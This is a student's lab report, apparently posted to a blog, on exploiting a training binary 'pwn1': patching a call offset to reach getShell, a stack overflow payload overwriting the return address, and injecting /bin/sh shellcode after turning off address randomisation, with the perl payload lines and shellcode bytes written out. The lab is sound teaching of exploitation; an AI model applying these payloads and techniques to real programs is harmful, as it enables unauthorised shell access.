20211911 2021-2022-2 《网络攻防实践》实践九报告

1.实践内容

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

实践要求:

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

掌握反汇编与十六进制编程器

能正确修改机器指令改变程序执行流程

能正确构造payload进行bof攻击

2.实践过程

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

使用kali虚拟机
1.使用指令objdump -d pwn1 | more 命令打开pwn1文件,反汇编查看。
汇编指令CALL 8048491,是说这条指令将调用位于地址8048491处的foo函数

2.找到getshell所在的位置

3.可以看到这里就是汇编指令CALL 8048491对应的机器指令e8 d7 ff ff ff,e8对应于CALL指令,所以8048491对应的就是d7 ff ff ff,所以修改偏移地址即可运行getshell
计算(0x8048491-0xffffffd7)%0x100000000 = 0x080484ba此时eip寄存器为80484BA,,所以对于getshell所在的0804847D可以得出修改偏移量为(0x0804847d-0x080484ba)%0x100000000 = 0xffffffc3
所以将pwn1复制一份,命名为20211911,在000004b0处将d7改为c3即可,

并用vim打开,

输入指令:!xxd,转化为十六进制,

最后输入指令::!xxd -r转化为二进制,

再输入指令:wq退出

4.修改之后分别运行
运行pwn1和20211911结果如下,pwn1应该是个回显的效果,可惜我这儿显示权限不够,就很奇怪,而20211911运行后可以通过getshell直接获得shell

解决后可以运行pwn1

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

1.反过来看刚刚汇编里的foo函数

2.通过阅读该汇编代码,可以得知这是将输入的字符串回显出来,但是却并没有对输入的字符串进行长度限制,当输入的数据超过0x38-0x1c=0x1c=28个字符时会造成缓冲区溢出

3.使用指令gdb pwn1,分别输入40个字符8z8x8c8v8b

4.使用指令info r查看当前寄存器内的数据,可以看到ebp寄存器为0x76767676,eip寄存器为0x62626262

5.通过查询可以得知v对应的ascll码为0x76,b对应的ascll码为0x62

6.那只要设计得足够巧妙,使得溢出的数据刚好是运行getshell函数的入口地址0804847d即可,所以只要在这里的b所在位置输入为7d 84 04 08即可
那么使用指令perl -e 'print "20211911202119112021191120211911\x7d\x84\x04\x08\x62"' > input
通过指令(cat input; cat) | ./pwn1命令将input作为pwn1的输入,从而运行getshell得到shell

注入一个自己制作的shellcode并运行这段shellcode。

1.使用指令echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化

2.如视频所说,采用retaddr+nop+shellcode的方法构造要注入的shellcode
使用指令perl -e 'print"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shell_code构造输入的字符串为input_shell_code
通过(cat input_shell_code; cat) | ./pwn1命令将input_shell_code作为pwn1的输入。

3.在这个终端运行时,可以使用指令ps -ef | grep pwn1查看该进程id

4.使用指令attach 2500 对pwn1使用gdb进行调试,

5.使用指令break *0x080484ae在foo函数运行结束前设置断点,

6.此时在pwn1中输入8z8x8c8v8b,

7.使用指令info r esp查看当前断点的esp寄存器,

再输入指令x/16x 0xffffd32c查看十六进制数据

可以看到0x01020304就对应着\x4\x3\x2\x1,由此可以算出retaddr的值。
retaddr的值为 0xffffd32c+0x00000004=0xffffd330。
8.通过上面的retaddr的值来构造32个A+retaddr+nop+shellcode:
指令perl -e 'print "A" x 32; print"\x30\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"'> input_shell_code_0
指令(cat input_shell_code_0; cat) | ./pwn1命令将input_shell_code_0作为pwn1的输入,从而运行getshell得到shell

3.学习中遇到的问题及解决

  • 问题1:运行pwn1显示权限不足
  • 问题1解决方案:右键pwn1选择属性-->权限,将将允许作为程序执行文件(E)打钩
  • 问题2:execstack无法安装
  • 问题2解决方案:使用指令apt-get update更新后再安装

4.实践总结

本次实践让我对shellcode的实现有了更清晰的了解,但是对于汇编代码的运行和通过缓冲区溢出这类知识点仍有薄弱处,要多花费时间去学习。

参考资料

posted @ 2022-05-11 14:04  两面包+芝士  阅读(58)  评论(0编辑  收藏  举报